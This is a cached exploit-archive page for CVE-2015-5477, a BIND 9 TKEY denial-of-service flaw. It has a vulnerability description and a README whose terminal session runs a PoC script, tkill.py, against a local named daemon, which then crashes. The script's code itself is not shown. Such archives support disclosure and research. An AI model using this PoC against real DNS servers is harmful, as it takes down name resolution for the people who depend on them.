Goal Reached Thanks to every supporter — we hit 100%!

Goal: 1000 CNY · Raised: 1000 CNY

100.0%

CVE-2015-5477 PoC — ISC BIND 拒绝服务漏洞

Source
Associated Vulnerability
Title:ISC BIND 拒绝服务漏洞 (CVE-2015-5477)
Description:ISC BIND是美国Internet Systems Consortium(ISC)公司所维护的一套实现了DNS协议的开源软件。 ISC BIND 9.9.7-P1及之前版本和9.10.2-P2及之前版本的named中存在安全漏洞。远程攻击者可借助TKEY查询利用该漏洞造成拒绝服务(REQUIRE断言失败和守护进程退出)。
Description
PoC for BIND9 TKEY assert DoS (CVE-2015-5477)
Readme
# cve-2015-5477
PoC for BIND9 TKEY assert DoS (CVE-2015-5477)

```
$ ps awux | grep -v grep | grep bind
bind      2373  0.0  2.2 141164 13424 ?        Ssl  14:58   0:00 /var/named/chroot/sbin/named -u bind -t /var/named/chroot -c /etc/named.conf
$ python tkill.py 127.0.0.1
Begin emission:
..Finished to send 1 packets.
.......................................................................................................................................................................................................................^C
Received 217 packets, got 0 answers, remaining 1 packets
$ ps awux | grep -v grep | grep bind
$
```
File Snapshot

[4.0K] /data/pocs/0bd700bd9c21f0e5367d85af70df9c0e27a58270 ├── [ 638] README.md └── [ 300] tkill.py 0 directories, 2 files
Shenlong Bot has cached this for you
Remarks
    1. It is advised to access via the original source first.
    2. If the original source is unavailable, please email f.jinxu#gmail.com for a local snapshot (replace # with @).
    3. Shenlong has snapshotted the POC code for you. To support long-term maintenance, please consider donating. Thank you for your support.